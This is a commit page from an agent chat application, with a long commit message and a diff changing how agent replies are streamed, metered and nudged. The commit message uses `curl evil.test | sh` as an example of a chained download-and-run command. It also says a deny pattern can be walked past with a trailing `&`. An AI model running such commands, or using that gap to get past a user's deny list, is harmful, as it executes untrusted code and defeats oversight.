Houmeres/LLeMbas
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases 3 Wiki Activity

A reply you can read while it is still being written

Browse Source 
Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Jaroslav Beneš
2026-08-04 19:02:07 +02:00
parent c0d6056ec4
commit 7df68eb44c
45 changed files with 2777 additions and 273 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/lembas/services/generation.py
+151 -26
View File
@@ -72,6 +72,14 @@ MAX_TOOL_ROUNDS = 200
# say so and be believed rather than argued with indefinitely.
MAX_NUDGES = 2
# How much prose an agent reply that called nothing has to have written before
# it counts as having stalled rather than as having answered. A model that talks
# itself out of every tool call produces pages of it -- announcing the call,
# reconsidering, announcing it again -- while somebody asking a question in an
# agent chat and getting a couple of lines back has simply been answered. The
# number only has to sit between those two, and there is nothing to tune here.
NUDGE_MIN_CHARS = 1500
# How much of the window a request may occupy before the next round is refused.
# A tool round appends an assistant turn and a tool turn per call, so a reply
# that keeps calling tools grows its own request until the endpoint refuses it --
@@ -100,6 +108,11 @@ class Generation:
# live as the model works and kept on the message afterwards.
tool_events: list[dict] = field(default_factory=list)
# Where each round's contribution ended, so the three stores above can be
# rendered as the one sequence they were. Written by `close_step`, and
# marks rather than copies -- see services/steps.py.
steps: list[dict] = field(default_factory=list)
# --- What it cost --------------------------------------------------------
# Prompt and completion are summed across tool rounds: what the reply cost.
# context_tokens is overwritten each round with that round's prompt plus
@@ -121,6 +134,18 @@ class Generation:
# `context_tokens`, so the fallback mirrors it rather than inventing a
# second convention.
prompt_estimate_total: int = 0
# Whether any round's usage block ever arrived. The one fact that decides
# whether these numbers are counted or worked out, recorded where it is
# known instead of inferred downstream from "are both counts non-zero?" --
# which the end-of-reply fallback makes true of a reply nobody counted, so
# the `~` vanished at exactly the moment everything became an estimate.
reported_usage: bool = False
# How many characters of text and reasoning had been written when that usage
# block arrived. What is written past it is this round's, uncounted until the
# round ends -- so it is the gap the metrics interpolate across, and it is
# what keeps the counts moving between one usage chunk and the next instead
# of standing still for a whole round.
counted_chars: int = 0
rounds: int = 0
# time.monotonic() at the start. A field rather than a local in `_run`
# because `_follow` is a different function that sees only this object, and
@@ -190,6 +215,28 @@ class Generation:
def touch(self) -> None:
self.version += 1
def close_step(self) -> None:
"""End the step being written. Everything appended from here is the next.
Called where a round's contribution ends and nowhere else, so the list
stays append-only and an index into it means the same step for ever --
which is what the transcript's DOM ids are built from, and therefore
what lets a block somebody opened survive both a stream frame and the
`done` frame that replaces the whole bubble.
There is deliberately no closing mark at the end of a reply. The
trailing step is implicit in both the live path and the stored one, and
one rule is one thing to get right.
"""
self.steps.append(
{
"round": self.rounds,
"thinking_to": len(self.thinking),
"text_to": len(self.text),
"tools_to": len(self.tool_events),
}
)
@property
def text(self) -> str:
return "".join(self.content)
@@ -511,6 +558,7 @@ async def _run(generation: Generation) -> None:
async for chunk in stream_chat(endpoint, payload):
counts = chunk_usage(chunk)
if counts is not None:
generation.reported_usage = True
generation.prompt_tokens += counts.get("prompt_tokens", 0)
generation.completion_tokens += counts.get("completion_tokens", 0)
# Overwritten, not summed: this round's prompt already
@@ -568,6 +616,15 @@ async def _run(generation: Generation) -> None:
generation.content.append(piece)
round_text.append(piece)
# Here, and not where the usage chunk was read. The usage block
# arrives while the splitter is still holding this round's last few
# characters back, so stamping it there left those characters looking
# uncounted and the stored figure came out a token or two above what
# the endpoint actually said. A round's usage covers a round's
# output, so the mark belongs at the round's end.
# See metrics._since_counted.
_mark_counted(generation)
calls = accumulator.calls
if generation.stopped or not calls:
# The model says it is done. Believe it -- unless this is an
@@ -704,6 +761,10 @@ async def _run(generation: Generation) -> None:
# ticked off.
if outcome.event.get("plan_final"):
generation.plan_final = True
# This round is over: its thinking, its prose and its tool calls are
# all in. Anything appended from here belongs to the next step, and
# that is what makes the bubble a sequence rather than three zones.
generation.close_step()
generation.touch()
# Something typed while this reply was working. Taken in here, at a
@@ -735,6 +796,7 @@ async def _run(generation: Generation) -> None:
for kind, piece in splitter.flush():
(generation.reasoning if kind == REASONING else generation.content).append(piece)
_mark_counted(generation)
generation.touch()
except LLMError as exc:
@@ -752,21 +814,19 @@ async def _run(generation: Generation) -> None:
generation.reasoning_ms = int((time.monotonic() - reasoning_started) * 1000)
generation.elapsed_ms = int((time.monotonic() - started) * 1000)
if not generation.completion_tokens:
# The endpoint reported nothing, so fall back to the estimate. Marked
# as such everywhere it is shown -- four characters to a token is
# wrong enough on code and CJK to be worth saying out loud.
generation.completion_tokens = tokens.estimate(
generation.text + generation.thinking
)
# Mirroring the reported figures exactly: the prompt is summed
# across rounds because it was paid for each time, while what the
# reply *occupies* is the last round's prompt plus what was written.
# Both used to come from one estimate taken before the first round.
generation.prompt_tokens = (
generation.prompt_estimate_total or generation.prompt_estimate
)
generation.context_tokens = generation.prompt_estimate + generation.completion_tokens
# There used to be a fallback here filling `completion_tokens`,
# `prompt_tokens` and `context_tokens` from the estimates when the
# endpoint had reported nothing. It is gone, and nothing is lost:
# `metrics.from_generation` now takes `max(reported, estimated)` for
# every one of the three, so the same figures come out and the row is
# written through the same code the live chips are rendered from.
#
# Two copies of one rule was the actual fault, not an accident of
# placement. They disagreed -- the fallback used `prompt_estimate_total`
# where the live path used `prompt_estimate` -- so the numbers jumped at
# the `done` frame; and writing into these fields made "did the endpoint
# count this?" unanswerable afterwards, which is what `reported_usage`
# now records instead.
# Naming the chat is a second, short completion, so it has to happen
# here rather than in the synchronous persist step below. Best-effort:
@@ -959,6 +1019,11 @@ def _gave_up(generation, why: str) -> None:
"error": f"Stopped {why}. Ask again to carry on from here.",
}
)
# Its own step. This event is appended outside the round loop, so without a
# mark it would fall into the open tail -- where the live view has no tools
# slot -- and the one line saying why the reply stopped would be the one
# line nobody saw.
generation.close_step()
generation.touch()
@@ -1009,6 +1074,9 @@ def _wrap_up(generation, why: str, payload: dict, *, name: str = "budget") -> tu
),
}
)
# Same reason as `_gave_up`: appended outside the round loop, so it needs a
# mark of its own or it lands in the step still being written.
generation.close_step()
generation.touch()
return [], {key: value for key, value in payload.items() if key != "tools"}
@@ -1026,10 +1094,24 @@ def _nudge(
A model that stops with work outstanding is the failure `core.keep_working`
is worded against, and prompting is the cheaper half of the fix. This is the
other half, and it only fires where there is something objective to check
against: an open task on the chat's own plan. Without a plan there is
nothing to be wrong about, so nothing happens -- a model that has genuinely
finished must be able to say so and be believed.
other half, and it fires only where there is something objective to check
against. There are two such things, and they are checked in that order:
1. **An open task on the chat's own plan.** The strongest signal there is --
the model wrote the list itself and has not crossed the item off.
2. **A long reply that touched nothing.** No plan, no tool call anywhere in
the reply, and more prose than a short answer. That is the shape of a
model deliberating itself to a standstill: announcing the call,
reconsidering, announcing it again, and ending the turn having done
nothing -- because a round with no tool calls is a model saying it is
finished, and it is taken at its word. `core.commit` is the prompt half.
The second is deliberately narrow. `generation.tool_events` being empty is
what keeps it away from the common case: a reply that did some work and then
said it was done has made a claim about work anybody can see, and arguing
with that is how a model gets nagged for finishing. And `NUDGE_MIN_CHARS`
keeps it away from the other one -- somebody asking a question in an agent
chat and getting a two-line answer is not a stalled agent.
Every "no" is a plain None:
@@ -1037,7 +1119,7 @@ def _nudge(
* this is not an agent chat, or is one in Plan mode -- `plan_submit` ends
the turn deliberately and nudging past it would be arguing with the whole
point of the mode;
* there is no plan, or every task on it is done or dropped;
* neither signal is present;
* there is no round left to carry on in, or it has already been asked
MAX_NUDGES times in a row.
@@ -1049,6 +1131,8 @@ def _nudge(
return None
if agent.mode == agent_policy.MODE_PLAN or generation.plan_final:
return None
if round_number >= budget:
return None
plan = generation.plan if generation.plan is not None else agent.plan
open_tasks = [
@@ -1057,12 +1141,23 @@ def _nudge(
for task in phase.get("tasks", [])
if task.get("status") not in ("done", "dropped")
]
if not open_tasks:
return None
if round_number >= budget:
stalled = (
not open_tasks
and not generation.tool_events
and len(generation.text) >= NUDGE_MIN_CHARS
)
if not open_tasks and not stalled:
return None
if generation.nudges >= MAX_NUDGES:
# Asked twice about an open plan task, once about having touched nothing.
# The plan is a list the model wrote and has not crossed off, which is still
# true after being asked; "you have not used a tool" is answered by the very
# next reply, and that reply is invited to say in one line that the work is
# finished. Asking again would be refusing the answer we asked for. Note the
# text is cumulative across rounds, so without this the signal stays true
# for the rest of the reply however the model responds.
ceiling = MAX_NUDGES if open_tasks else 1
if generation.nudges >= ceiling:
generation.tool_events.append(
{
"name": "plan_update",
@@ -1071,7 +1166,9 @@ def _nudge(
"error": (
f"Stopped with {len(open_tasks)} task(s) still open on the "
f"plan, after being asked twice to carry on."
),
)
if open_tasks
else "Ended without using any tool, after being asked to carry on.",
"results": [],
}
)
@@ -1079,11 +1176,22 @@ def _nudge(
return None
generation.nudges += 1
remaining = "\n".join(f"- {task['id']} {task['text']}" for task in open_tasks[:8])
# A user turn, and phrased as the reader would phrase it. Everything else
# this codebase injects is quoted and attributed because it came out of a
# file or a machine; this is the application speaking on the reader's behalf
# about the reader's own plan, which is the one case where that is honest.
if not open_tasks:
return {
"role": "user",
"content": (
"That reply did not use any tool, so nothing has actually been done "
"yet. If you were about to run or read something, do it now. If the "
"work really is finished, or you need something from me before you "
"can go on, say which in one line."
),
}
remaining = "\n".join(f"- {task['id']} {task['text']}" for task in open_tasks[:8])
return {
"role": "user",
"content": (
@@ -1110,6 +1218,18 @@ def _too_big(generation: Generation) -> bool:
return generation.prompt_estimate > generation.context_limit * CONTEXT_HEADROOM
def _mark_counted(generation: Generation) -> None:
"""Record that everything written so far is covered by a reported count.
A no-op until some usage block has arrived, because until then there is
nothing to interpolate from and `metrics.from_generation` falls back to
estimating the lot. After that it is what makes a reported figure be shown
verbatim rather than with an estimate added on top of it.
"""
if generation.reported_usage:
generation.counted_chars = len(generation.text) + len(generation.thinking)
def _written(generation: Generation) -> int:
"""How much this reply has written so far, in tokens, reported or estimated.
@@ -1693,6 +1813,11 @@ def _persist(generation: Generation, title: str, elapsed: float) -> None:
message.reasoning = generation.thinking
message.reasoning_ms = generation.reasoning_ms
message.tool_calls_json = generation.tool_events
# Written together with the three stores it indexes, by the one
# writer, so a row can never carry marks that describe a different
# reply's text. Regeneration reuses the `Message` row and overwrites
# all four for the same reason.
message.steps_json = generation.steps
message.plan_json = generation.plan or {}
if generation.canvas.get("tabs"):
# A union with whatever the row says *now*, not an overwrite: